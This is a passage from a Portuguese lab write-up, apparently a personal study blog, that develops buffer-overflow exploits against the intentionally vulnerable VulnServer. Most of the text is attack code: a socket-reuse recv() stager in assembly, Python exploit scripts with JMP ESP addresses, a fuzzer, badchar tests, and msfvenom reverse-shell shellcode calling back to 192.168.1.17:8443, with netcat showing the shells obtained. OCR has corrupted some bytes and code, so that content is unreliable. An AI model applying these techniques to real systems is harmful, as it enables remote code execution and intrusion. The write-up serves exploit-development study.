l./_\

Listen Connect

)

Accept

J,
Send/Recv -@

Diferentes fungdes sao chamadas em cada lado de uma conexao, mas podemos ver
que a troca de dados ocorre no final.

=

O que precisamos fazer no primeiro estagio € criar uma nova chamada para a fungao
recv() do Windows e reutilizar o socket ja criado pelo vulnserver que recebe conexdes
na porta 9999. Apds isto, redireciona-lo para o nosso estagio 2 que contém o shellcode.

Vamos analisar a estrutura da recv() cuja documentagao pode ser lida aqui.

int recv(
SOCKET s,
char *buf,
int len,
int flags
);

Onde:
- SOCKET s é o valor do socket handle;
- char *buf € o apontador onde os dados recebidos serdo armazenados;
- int len é a quantidade total de dados esperados;
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- int flags modifica o valor do recv(), em nosso caso sera 0.

Com o préprio Immunity Debbuger podemos fazer isso, clicando com o botao direito no
painel de CPU e selecionando “Search for > All intermodular calls”, 1& vamos procurar
pelo destino “WS2_32.recv” e setar um breakpoint nele.

UBTE WX P N MHAEY lemtwhcPkbz .. s 2 Y
.

nddvess Destination
A 3 > msvcrt.ne
msvcrt.me
msvcrt.me
msvcrt.mense
msvcrt.nense
W82_32.ntohs
nviron msvcrt.__p
mode

msvert.pr
msvert.print
. msvcrt.print
080401760 ChH <e . 3 't . pr msvcrt.print
00401 90" 3 < 't . pr 4 msvert.print
004 A <o o L. pr > msvcrt.print
004 4 A .8 rt.pr > msvert.printf
§ 3 > msvcrt.printf
msvcrt.pr
W82 _32.v»
ai¢ th]'!'
994819C

File Actions Edit View Help

hastur@hastur: ~/Desktop/estudos/binarios/windows/VulnServer x hastur@hast

)-[~/../estudos/binarios/windows/VulnServe
nc 192.168.1.30 9999
Welcome to Vulnerable Server! Enter HELP for help.

No Immunity, podemos clicar duas vezes em nosso breakpoint e obter nossas
informacoes.

= Ly
e
BT @XM KNl Ll emcwh cPkb2 s I —

E8 D4vBUaGY <o :
hB491958 EC . | SUB ES A9Bnn1 04

98401958 @FBF 00ARARA2

98401961 83 ) BAC8FIB4

90401968 v serv.B884024B6 #980n104

9840196} (: 4 4 U -5

98401976 ! svulnserv.0040

0094019 R U El - vulnserv.B8401848
99491981 a EQX 4 3 s 4 48
pa4a17 F 1 vuln 9084091848
98481989 (‘ 3 vulnserv.88461953
9084019 . 75 49 P > S y

9840198D | - p

09094019

0984019

098401999

0840199k

0909401900

lmml'in\

npty g
9

npty
enpty
enpty

HHHHHII—1~1 oL
99 40 70 2E ¢ ; B..p.0. > 00163518 M-
o a8 08 'F FF FF 3 . A9RA1 006
? 98 00 R 1 PAARRRNG
00 00 .. T ACSF LTl Lale)
a8 a9 = = 2 > 4151515151515 1%)
a8 08 . & = (5151515151515 1%}
a9 a8 . . . 3 % 4151515 1515151%)
a8 08 - = 3 3 [515151515151%1%)
08 99 .. . . 3 F' ’ [51515151515151%}
88 08 @ . . . 3 [51515151515191%}
90 09 09 0 3 00 98 90 : e @ "4 @ABOB0NA
08 00 i T 99PARAAA
3¢ 90 00 0 3 o I @ C 09APARRA
ne403 HIIH 098 09 .. . . J [515151515151515)
AB4030ED a9 00 . . . 4‘\:]- ! ‘! 51531 hHl1Hl»1
PR493AFA 9009 ¢ o] s cooo SFAGS 4000BA6A
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Conseguimos os valores que precisavamos, o socket handle (104) e o endereco da
recv() (0040252C).

Com os valores em maos podemos escrever nosso Assembly.

estagio1.nasm:

; recv()

sub esp. 64 ; Move o apontador ESP para o nosso buffer inicial evitando sobrescrever
nosso shellcode

xor ebx, ebx ; Zerando EBX

push ebx ; Push no parametro 'flags' = 0

add bh, 4 ; Tornando EBX = 00000400 = 1024 bytes

push ebx ; Push do parametro 'len' = 1024 bytes

mov ebx, esp ; Movendo o apontador ESP para EBX

add ebx, 64 ; Apontando o EBX para o ESP original para torna-lo apontador para
nosso estagio 2

push ebx ; Push no parametro "buf' = Apontador para ESP+0x64

xor ebx, ebx ; Zerando EBX

add ebx, 104 ; Tornano EBX = 104, valor do socket handle

push ebx ; push no parametro 's'

mov eax, 0x40252c90 ; Precisamos mover o valor 0040252c para EAX, mas nao podemos
inserir o null byte '0x00'

shr eax, 8 ; Removendo 0x90 do EAX e transformando em 0x0040252c

call eax ; Cahamdno recv()

Tecnicamente preenchemos todos os parametros da fungao recv(), porém temos um
problema: o valor do socket € um inteiro criado dinamicamente quando o programa roda.

Ou seja, enconramos o valor 104, mas na proxima execugao ele vai mudar. Para
passarmos por este problema, podemos fazer um update em nosso script para fazer um
bruteforce do valor do socket iniciando em 0.

; recv()

sub esp. 64 ; Move o apontador ESP para o nosso buffer inicial evitando sobrescrever
nosso shellcode

xor edi, edi ; Zerando EDI

socket_loop: ; Inicio do bruteforce

xor ebx, ebx ; Zerando EBX

push ebx ; Push no parametro 'flags' = 0

add bh, 4 ; Tornando EBX = 00000400 = 1024 bytes

push ebx ; Push do parametro 'len' = 1024 bytes

mov ebx, esp ; Movendo o apontador ESP para EBX

add ebx, 64 ; Apontando o EBX para o ESP original para torna-lo apontador para
nosso estagio 2

push ebx ; Push no parametro "buf' = Apontador para ESP+0x64

inc edi ; Tornando EDI = EDI + 1

push edi ; Push no socket handle = EDI + 1

mov eax, 0x40252c90 ; Precisamos mover o valor 0040252c para EAX, mas nao podemos
inserir o null byte '0x00'

shr eax, 8 ; Removendo 0x90 do EAX e transformando em 0x0040252c

call eax ; Cahamdno recv()

test eax, eax ; Checando se a recv() foi teve sucesso

jnz socket_loop ; Se a recv() foi mal sucedida, volta para o inicio do loop
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Agora podemos compilar com o nasm.

$ nasm -f elf32 estagio1.asm -o estagio1.o

E sanitizar:

$ for i in $(objdump -d estagio1.o -M intel | grep '* ' | cut -f2); do echo -n "\\x'$i;done
\x83\xec\x40\x31\xfAx31\xdb\x53\x80\xc 7\x04\x53\x89\xe 3\x83\xc3\x40\x53\x4 7\x57\xb8\x9
0\x2c\x25\x40\xc 1\xe8\x08\xff\xd0\x85\xc0\x75

Temos um estagio 1 de apenas 34 bytes que cabe perfeitamente em nosso buffer,

vamos atualizar nosso script.

xplkstet.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# variaveis de payload
offset = 206

b"\x83\xec\x40\x31\xff\x31\xdb\x53\x80\xc7\x04\x53\x89\xe3\x83\xc3\x40\x53\x4 7\x57\xb8\x
90\x2c\x25\x40\xc1\xe8\x08\xfAxd0\x85\xc0\x75\xe 3"

# payload

payload = b"KSTET "

payload += b"\x90" * 5 # padding do estagio 1

payload += estagio1

payload += b"A" * (70 - 5 - len(estagio1)) # buffer inicial
payload += b"\xd3\x11\x50\x62" # JMP ESP

payload += b"\xeb\xb4" # short jump

payload += b"\x90\x90" # padding do short jump

payload += b"C" * (offset - 70 - 4 - 4) # complemento do buffer

# primeiro estagio

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

s.recv(1024)

print("Enviando primeiro estagio...\n")

s.send(payload + b"\r\n")

s.close()

estagio1 =
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ESTAGIO 2: INJETANDO O REVERSE SHELL

Nosso primeiro estagio ja consumiu quase todo nosso pequeno buffer, como podemos
enviar nosso proximo estagio?

Vamos usar légica, o vulnserver € um servidor TCP, logo, ele aceita multiplas conexdes,
entdo podemos criar duas conexdes distintas e enviar cada estagio em uma consexao.

Tudo que precisamos fazer agora € criar nosso reverse shell e envia-lo logo apds nosso
primeiro estagio.

#!/usr/bin/python3

import socket
from time import sleep

# variaveis de conexao
ip ="192.168.1.30"
porta = 9999

# variaveis de payload
offset = 206

estagio1 =
b"\x83\xec\x40\x31\xf\x31\xdb\x53\x80\xc7\x04\x53\x89\xe 3\x83\xc3\x4 0\x53\x4 7\x57\xb8\x90\x2c\x2
5\x40\xc1\xe8\x08\xff\xd0\x85\xc0\x75\xe 3"

# msfvenom -p windows/shell_reverse_tcp Ihost=192.168.1.17 Iport=8443 exitfunc=thread -b "x00' -v
shellcode -f py

shellcode = b""
shellcode += b"\xbf\x3c\xce\x60\x4\xdb\xd3\xd9\x74\x24\xf4"

shellcode += b"\xbe\x93\x0b\X0b\xaf\x7 1\x2b\xb8\xdO\x53"

estagio2 = shellcode + b"\x90" * (1024 - len(shellcode)) # preenchendo o restante do buffer de 1024
bytes com NOPs

# payload

payload = b"KSTET "

payload += b"\x90" * 5 # padding do estagio 1

payload += estagio1

payload += b"A" * (70 - 5 - len(estagio1)) # buffer inicial
payload += b"\xd3\x11\x50\x62" # JMP ESP

payload += b"\xeb\xb4" # short jump

payload += b"\x90\x90" # padding do short jump

payload += b"C" * (offset - 70 - 4 - 4) # complemento do buffer

# primeiro estagio

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
s.connect((ip,porta))

s.recv(1024)

print("Enviando primeiro estagio...”)

s.send(payload + b"\r\n") # ativando o estagio 1
#s.recv(1024)

sleep(3)
print("Enviando segundo estagio...")

s.send(estagio2)
print("Payload enviado, cheque o netcat!")
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Agora vamos setar o netcat para ouvir a porta 8443, rodar o vulnserver fora do Immunity
e testar nosso exploit.

|-[~f./festudos/binarios/windows/VulnServer ]

xplk

Enviando primeir
Enviando segundo

— |-[~/Desktop]

- c 8443

listening on [any] 8443 -

connect to [192.168.1.17] from (UNKNOWN) [192.168.1.32] 49791
Microsoft Windows [Version 10.8.19843.928]

{c) Microsoft Corporation. All rights reserved.

[} LY Y

C:ihUsers\suite\Desktop>cd

Ci\zdir

dir

Volume in drive C has no label.
Volume Serial Number is 2247-E2AZ

Directory of C:\

AM <DIR> nasm
AM <DIR> Perflogs
AM <DIR> Program Files
AM <DIR> Program Files
AM <DIR> Python27
AM <DIR> Users
AM <DIR> Windows
@ File(s) @ bytes
7 Dir{s) 31,962,906,048 bytes free

E conseguimos nosso reverse shell.

Neste comando, tivemos a experiéncia de um buffer estremamente pequeno, o que nos
obrigou a pensar fora da caixa e reaproveitar fungdes do SO que ja estido ativas no
programa.

No préximo comando, vamos experimentar outra restri¢cao.
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COMANDO LTER

O comando LTER, assim como os demais, recebe um argumento e da uma resposta.
Neste comando, temos uma situagao parecida com as anteriores, porém encontramos
uma situacéo problema com badchars.

File Actions Edit View Help

~/../estudos/binarios/windows/VulnServer
192.168.1.30 9999
192.168.1.30: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.30] 9999 (?) open
Welcome to Vulnerable Server! Enter HELP for help.
LTER teste
LTER COMPLETE
LTER 1234
LTER COMPLETE

81



®

https://hastur666.github.io/Windows BoF/

FUZZING

Vamos reaproveitar nosso segundo script de fuzzing e adapta-lo para o comando LTER.

fuzzing2.py:

#!/usr/bin/python3

from boofuzz import *
import time

def get_banner(target, my_logger, session, *args, **kwargs):
banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
try:
banner = target.recv(1024)
except:
print("Nao foi possivel a conexao.")
exit(1)

my_logger.log_check("Recebendo banner...")
if banner_template in banner:
my_logger.log_pass("Banner recebido!")
else:
my_logger.log_fail("Banner nao recebido")
print("Banner nao recebido, saindo...")
exit(1)

def main():
session = Session(
sleep_time =1,
target = Target(
connection=SocketConnection("192.168.1.30", 9999, proto="tcp')
),

s_initialize(name="Request")

with s_block("Host-Line"):
s_static('LTER', name="command name")
s_delim(" ")
s_string("FUZZ", name="comando da variavel")
s_delim("\r\n")

session.connect(s_get("Request"), callback=get_banner)
session.fuzz()

if _name_ ==" main_ "
main()
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[2021-08-12 17:25:17,474]
[2021-08-12 17:25:17,474] Info: Sending 10007 bytes ...
[2021-08-12 17:25:17,475] ' :

Causamos um crash com o envio de 10.007 bytes constituidos de “/.”, como sabemos
que esta quantia foi exagerada das ultimas vezes, vamos iniciar o esbogo do exploit com
um buffer de 3.000 bytes e monitorar.

xpllter.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# variaveis de payoad
offset = 3000

# payload
payload = b"LTER /."
payload += b"A" * offset

# criando conexao

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")

Ap0s iniciar o vulnserver no Immunity, vamos monitorar seu comportamento.
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~  Registers CFFUD>

PADFF1EE ASCII "LTER ~.AAAAAAAAAAAAAAAAA
BABF5584

JE1a1a]5]5]5]0h]

ga8001 84

BADFF?CE ASCII “AAAAAAAAAAAAAAAAAAAAAAAA
41414141

40481848 vulnserv.AB4A1848

90481848 vulnserv.AB481848

41414141

32hit B(FFFFFFFF»
32hit B(FFFFFFFF>
32hit B(FFFFFFFF>
32hit B(FFFFFFFF>
32hit 288PAACFFF>
32hit B{FFFFFFFF>

LastErr ERROR_SUCCESS <(B0888006>
A@A18246 <NO.NB.E.BE.NS.PE.GE.LE>

c
P
A
Z
S
T
D
0

]
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141
41414141

Causamos o crash e sobrescrevemos ESP e EIP, o proximo passo é descobrir o offset
correto para atingirmos o EIP, vamos usar o msf-patter_create.

'~J Jestudos/binarios/windows/VulnServer
3000
AalAalAa2Aa 4A4RAabAaThasARQADGADlAb-AbJADMADRADbADTADSADQA-GA-lA CAACSACBACTACBACOADRADLACd2Ad
3Ad4AdSAdBAdTAdEBAdIAEBAR1ACZAe3AetAeSAcbAeTACBAOATBATIATZATIATLATSATEATTATEBATOACDAS]AG: JASLAGSACHA
g7Ag8Ag9Ah@Ah1ARZAR3IAhLARSARGART ARBAROAIRAIIAIZAIZAILAISAIGAITAIBAIOATBATIATZAIIATLAATSATEAITAIBA]IAKD
3Ak4AkSAKBAKTAKBAKIALRALLA JAL4ALSALBALTALBAL9AMDAMLIAMZAMIAmSL AMSAMEAM7 AmMBAMIANDAN LANZAN3AN
LANSANGANTANSAN9A00AD1AD2AD3ADLADSADBADTADBACOADBARIADZADIADLADSADEADTADEADIAQOAGIAGQ2AG3AGQLAQSAGBAGTA
qBAqQAr@ArlhrihrEArhArSArGAr?ArBArgnsﬁﬂslhsihs3#5&#55A56A5?A58A59At@ﬂtlAtEAtHAthAt5At5AtTAt8AtQAu0Au1

£1bg g4B85BE ntgEhBEhlEhLEhJthﬁhSEh
BEh?EhSEhQEiBEilﬁi'-i'ElhEiSElBEl?EiBEiQBjBBjlB i J4BjSEJ6E 7B BB j9BkKOEK1E k4BkSBEKEEKTEKE

10B11B12B13B14B15B16 1?51EE1QEm@EmlEm?Em1Em&EmSEmEEmTquEm9EnaEn1E in3 EnnEnﬁEnﬁEnTEnSEnQBo@Bo1B
Bo4Bo5Bo6Bo7EBo8BoSEpBEp1E
7BIBBIQB;BB;1B

alB
a5:ab:aTraSL39:b
7Cd8CdoCeBCelle2C
8Ch9Ci@cilc
LC15(

Cn3Cn&Cn5Cn6C

Vamos monitorar o envio com o Immunity.
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Registers <FPU> %

BAEYF1E8 ASCII "LTER .- faBlalfaZAa3fadia
A6 C5584

AAARBBA

ARl A4

BAE7F?C8 ASCII "9CpACp1Cp2Cp3Cpd4Cp5Cpblp
43376F43

BA491848 vulnserv.Bl481848

AA481848 vulnzerv.B0481848

6F43386F

A8ZB 3Z2hit BA(FFFFFFFF>
A823 32hit B(FFFFFFFF>
A8ZB 3Z2hit A(FFFFFFFF>
AA2ZB 32hit B(FFFFFFFF>
AA53 3Z2hit 35DBAACFFF>
A82B 32bhit B{FFFFFFFF>

LastErr ERROR_SUCCESES <(DOBBBOGE>
A8A16246 (NO,.NB.E.BE,.NS.PE.GE.LE>

C A
P1i
A A
Z1
S 8
T @8
D a
08

2]
]
~

Encontramos o offset 6f43386f, consultando no msf-patter_offset:

$ msf-pattern_offset -1 3000 -q 6f43386f
[*] Exact match at offset 2005

Para atingir o EIP, precisamos de 2005 bytes, vamos atualizar nosso script e monitorar
0 comportamento.

xpllter.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# variaveis de payoad
offset = 3000

# payload

payload = b"LTER /."

payload += b"A" * 2005

payload += b"B" * 4

payload += b"C" * (offset - 2005 - 4)

# criando conexao

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")
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Registers CFPU> %
BBEZ2F1EE ASCII “LTER ~.AAAAAAAAAAAAAAAAAR
BB6ESS84
BBBBBEBAA
BBBBe1 84
BBEZ2F?CE ASCII “"CCOCCCCCCCCCCCCCCCCCCCCCG
41414141
401848 vulnserv.d@481848
481848 vulnserv.BB481848

42424242

ES 8828 3Z2hit A(FFFFFFFF>
#0823 32hit B{FFFFFFFF)
AB2E 32hit AC(FFFFFFFF»
#8828 32bhit B{FFFFFFFF>
AR53 32hit 358BAACFFF>
B82B 32bit BA<{FFFFFFFF»

LastErr ERROR_SUCCESS <(BA0AAAAA
AaP18246 (NO.MB.E.BE.NS.PE.GE.LEX

cCa
P1i
A A
Z1
£ 8
T 8
DA
08

I
i
EY

1

Conseguimos sobrescrever o EIP com nossos “B”, vamos encontrar um JMP ESP com
o Immunity para direcionarmos a execug¢ao para o nosso buffer.

esp

Imona jmp r esp

Encontramos nossos 9 enderecos, no meu caso irei usar o 625011d3, lembrando que
deve estar em little indian, ficando \xd3\x11\x50\x62.

Vamos atualizar o script € monitorar com o Immunity:
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xpliter.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# variaveis de payoad
offset = 3000

# payload

payload = b"LTER /."

payload += b"A" * 2005

payload += b"\xd3\x11\x50\x62"
payload += b"C" * (offset - 2005 - 4)

# criando conexao

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")

BBEQ?iEB ASCII "4TER ~.AAAAAAAAAAAAAAAAA
A6 D5584

ARBBRRAA

ARAAE1 A4

BAESFYBC

41414141

AA491848 vulnzerv.304801848

481848 vulnzerv.30481 848

62501187 essfunc.62581189

AAZE 32hit A(FFFFFFFF>
A8Z3 3Zhit ACFFFFFFFF>
AAZE 32hit BA(FFFFFFFF>
ABZE 3Zhit AC(FFFFFFFF>
AA52 32hit 23FBRA{FFF>
A8ZE 3Zhit B(FFFFFFFF>

LastErr ERROR_SUCCESS (A80AAAAA
80018286 (NO.MB.NME.A.M5.PE.GE.G>

ca
P1
A A
Z A
£ a
T @
DA
0oa

[

Desta vez, algo deu errado.
Podemos observar duas coisas desta imagem:

1 - O ESP néao foi sbrescrito;
2 - O programa alterou nosso endereco de retorno de 625011d3 para 62501109.

Isto pode nos indicar um problema de badchars.
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PROCURANDO BADCHARS

~ | Registers <(FPU) < < <
?EFEFEFE
B8867575C ASCII ""CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
43434343
#BBnn1684
BBBDF1D8
BABDF9CA ASCII “AAARAAARAAAAAARAAAAAAAAAAAAAAAAAAA
#8481848 vulnserv.B8B8481848
BBBEBBHBA

76466819 msvcrt.76466819

ES 8082B 32hit BC(FFFFFFFPF)
CS 8823 32bit B(FFFFFFFPF)
SS 882B 32bit B(FFFFFFFF)
DS 882B 32bhit B(FFFFFFFPF)
FS 86853 32hit 256888(FFF)
GS B8082B 32hbit BC(FFFFFFFPF)

C
P1
A A
Z 1
S @
T 6
D @
006

LastErr ERROR_SUCCESS <(888886868)

880168246 (NO.NB.E.BE.NS.,PE.GE.LE)

empty
empty
@ ST2 empty

empty
empty

Se observarmos esta imagem, podemos ver que o vulnerver trabalha com strings
encodadas em ANSI. Estes caracteres tem o tamanho de 1 byte e vao de 0x00 a Oxff,
ou seja, 256 possibilidades.

Precisamos encontrar quais destes sdo aceitos pelo vulnserver. Vamos criar uma string
de badchars e enviar em nosso script.

$ badchars

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x 10\x 1 1\x12\x13\x 14\x15\x1
6\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x
2c\x2d\x2e\x2Ax301x311x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x 3f\x40\x4 1\
x42\x43\x44\x45\x46\x4 7\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x5
7\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x6 3\x64\x65\x66\x67\x68\x69\x6a\x6b\x6.c\x
6d\x6e\x6f\Xx70\x7 1\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x8 1\x82\
x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x9
8\x99\x9a\x9b\x9c\x9d\x9e\x9f\xal\xa1\xa2\xa3\xa4\xa5\xab\xa7\xa8\xa9\xaa\xab\xac\xad\x
ae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xcO\xc1\xc2\xc3\
xc4\xc5\xcb\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcfixd0\xd 1\xd2\xd 3\xd4\xd5\xd6\xd 7\xd 8\xd 9\
xda\xdb\xdc\xdd\xde\xdf\xe0\xe 1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef
\XFO\XF1\xf2\xf3\xf4\xf5\xf6 \xf 7 \xf8\xfO\xfa\xfb\xfc\xfd\xfe\xff
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xpliter.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# variaveis de payoad

offset = 3000

badchars =
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x 10\x 1 1\x12\x 13\x 14\x 15
x16\x17\x18\x19\x1a\x1b\x 1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x 2
b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x4 0\x
41\x42\x43\x44\x45\x46\x4 7\x48\x49\x4a\x4b\x4 c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56
\x57\x58\x59\x5a\x5b\x5¢c\x5d\x5e\x5f\x60\x6 1\x62\x63\x64\x65\x66\x6 7\x68\x69\x6a\x6b\x6
c\x6d\x6e\x6f\x70\x7 1\x72\x73\x74\x75\x76\x 7 7\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x
82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97
\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xal\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xa
d\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbfixcO\xc1\xc2\x
c3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xce\xed\xce\xcfixd0\xd 1\xd2\xd 3\xd4 \xd5\xd6\xd 7\xd8\x
d9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe 1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\
xef\xfO\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

# payload

payload = b"LTER /."

payload += badchars

payload +=b”’B” * 4

#payload += b"A" * (2005 - len(badchars))
payload += b"\xd3\x11\x50\x62"

payload += b"C" * (offset - 2005 - 4)

# criando conexao

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")

Monitorando com Immunity:
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Address .
BACS5F1D8 HTR.&TR.3++4.0I
PACSF1EB LTER /.
PWACS5F1F@ BveLeel. _&. . b
BBC5F200 T8t Ti>eoAY
BAC5F210 RS /&’ O+, —_ /0
BBC5F220 23456789 :;<{=>7
BACS5F230 BCDEFGHI JKLMNOF
BBC5F240 RSTUUWRYZINI_®
BBC5F250 becdefghijklmno
BACS5F260 rstuvuxyz{ i>“a{
BACS5F2708 voeal 8. .[bo
AACS5F280 N8t Tireroay ¢
PACS5F290 #S28&° O+, —_/0
PACSF2A0 3456789 :;<=>7CA
PACS5F2BA CDEFGHI JKLMNOPQ
BACS5F2CHa STUUURYZINI_®
BBaC5F2D0 cdefghijklmnop
BAC5F2EQ stuvuxyz{ i>ValA
PAACS5F2F@ ARAAAAAAAAAAAAR
PACS5F3008 ARAAAAAAAAAAAAR
PAC5F310 ARAAAAAAAAAAAA A

Ao seguirmos o dump do ESP, podemos ver que nossos caracteres seguiram
normalmente do 0x01 até 0x7f, a partir dai, o vulnserver comecgou a substituir nossos
caracteres por outros, o 0x80 por 0x01, o 0x81 por 0x02 e assim por diante.

Isso explica por que o 0xd3 do nosso JMP ESP foi substituido por 0x09. O que significa
que temos uma quantidade limitadissima de 127 caracteres para fazer todo nosso
exploit.

Precisamos continuar, nosso JMP ESP nao funcionou, mas podemos adicionar o
comando “ascii” a nossa pesquisa no Immunity, para tentar encontrar um JMP ESP que
contenha apensas caracteres ANSI.

Jmp esp

func.dLll]
: imp esp Il

func.d

Imona jmp r esp -cp ascii

Temos dois enderecos, que por sinal estdo na essfunc.dll que acompanha o vulnserver.
No meu caso, vou utilizar o 0x62501203.

Atualizando script.
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xpliter.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# variaveis de payoad
offset = 3000

# payload

payload = b"LTER /."

payload += b"A" * 2005

payload += b"\x03\x12\x50\x62"
payload += b"C" * (offset - 2005 - 4)

# criando conexao

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")

Vamos inserir um breakpoint em nosso endereco de retorno e monitorar com Immunity.

BBDIFICE 3 g registers

BADYF2CY? AADYF1iEE nSCII “LIER ~.ARAAAAAAAAARAARAAR
AAEIS504

ARREARBN

AAAAAL B4

@ADIFPCE ASCII “CCOCCCCCCCCCCCCCOCCCCCCCT
HA14141

20461848 vulnzery.BB401848

80481848 vulnzerv.BB481848

BaDIF?C8

ES 882B 32bhit @(FFFFFFFF)
CS 8823 32bit @{FFFFFFFF>
88§ 882B 32Zbhit @(FFFFFFFF)
DS @82B 32bit @(FFFFFFFF)
FS 8853 32bit 2C6PAA(FFF>
GS 882B 32Zbhit @(FFFFFFFF>

LastErr ERROR_SUCCESS (B088000Q>

AaaeA246 (HO.MB.E.BE.NS.PE.GE.LE}

AAEARRAA
BaBBRRRG
2 AA0ARRRA
1o ln1n]als 6 )

Caimos exatamente em cima do nosso buffer de “C”.

Podemos criar nosso shellcode, porém, temos uma limitagdo de caracteres muito
grande.

Por sorte, a suite Metasploit trabalha com varios tipos de encoders, um deles é o

x86/alpha_mixed que faz a transcricdo do nosso shellcode para bytes alfa numéricos,
mais sobre o encode aqui.
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Vamos gerar nosso shellcode:

$ msfvenom -p windows/shell_reverse_tcp Ihost=192.168.1.17 Iport=8443 exitfunc=thread -
e x86/alpha_mixed -b "x00' bufferregister=esp -f py -v shellcode

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/alpha_mixed

x86/alpha_mixed succeeded with size 702 (iteration=0)

x86/alpha_mixed chosen with final size 702

Payload size: 702 bytes

Final size of py file: 3913 bytes

shellcode = b""

shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"

shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"

shellcode += b"\x50\x53\x63\x6b\x4f\x6b\x65\x4 1\x41"

Nosso shellcode ficou consideravelmente maior devido ao encode, mas temos espaco
de sobra.

Note também que utilizei a opgéo “bufferregister=esp”, isso por que sem esta opgao, o
shellcode se inicia com os opcodes “\x89\xe2\xdb\xdb\xd9\x72”. Estes opcodes sao
necessarios para encontrar a posi¢ao absoluta do shellcode na memoaria.

Como noés ja sabemos que nosso shellcode estara em ESP, podemos aponta-lo na
criagédo do shellcode, evitando os badchars.

Vamos atualizar o exploit.
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xpliter.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# variaveis de payoad
offset = 3000

shellcode = b""
shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"

shellcode += b"\x30\x53\x63\x79\x6f\x4b\x65\x4 1\x41"

# payload

payload = b"LTER /."

payload += b"A" * 2005

payload += b"\x03\x12\x50\x62"

payload += shellcode

payload += b"C" * (offset - 2005 - 4 - len(shellcode))

# criando conexao

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))

s.recv(1024)

print("Enviando payload...")

s.send(payload + b"\r\n")
s.close()

print("Payload enviado.")
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Agora vamos setar o netcat para ouvir na porta 8443 e iniciar o vulnserver fora do
Immunity.

i |- ~/../estudos/binarios/windows/VulnServer
— ) 8443
listening on [any] 8443 ...
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.32] 49908
Microsoft Windows [Version 10.0.19043.928]
(c) Microsoft Corporation. All rights reserved.

C:\Users\suite\Desktop>cd %
cd

C:h\>dir

dir

Volume in drive C has no
Volume Serial Number is 22

